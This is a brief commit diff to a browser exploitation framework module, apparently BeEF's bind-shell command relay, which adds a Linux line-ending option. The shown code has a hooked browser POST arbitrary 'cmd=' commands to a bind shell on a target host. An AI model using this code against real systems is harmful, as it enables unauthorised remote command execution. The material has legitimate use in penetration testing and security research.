added option for LF only, to use with Linux

modules/exploits/beefbind/beef_bind_shell/command.js

@@ -9,6 +9,7 @@ beef.execute(function () {
     var rport = '<%= @rport %>';
     var path = '<%= @path %>';
     var cmd = '<%= @cmd %>';
+    var shellcode ='<%= @shellcode %>';
 
     var uri = "http://" + rhost + ":" + rport + path;
 
@@ -73,7 +74,11 @@ beef.execute(function () {
         };
         xhr.open("POST", uri, false);
         xhr.setRequestHeader("Content-Type", "text/plain");
-        command = "cmd=" + command + "\r\n"; // very important CRLF, otherwise the shellcode returns "More?"
+	if (shellcode == 'Linux'){
+            command = "cmd=" + command + "\n"; // very important only LF
+        }else{
+            command = "cmd=" + command + "\r\n"; // very important CRLF, otherwise the shellcode returns "More?"
+        }
         xhr.send(command);
         setTimeout("get_additional_cmd_results()",500);
     };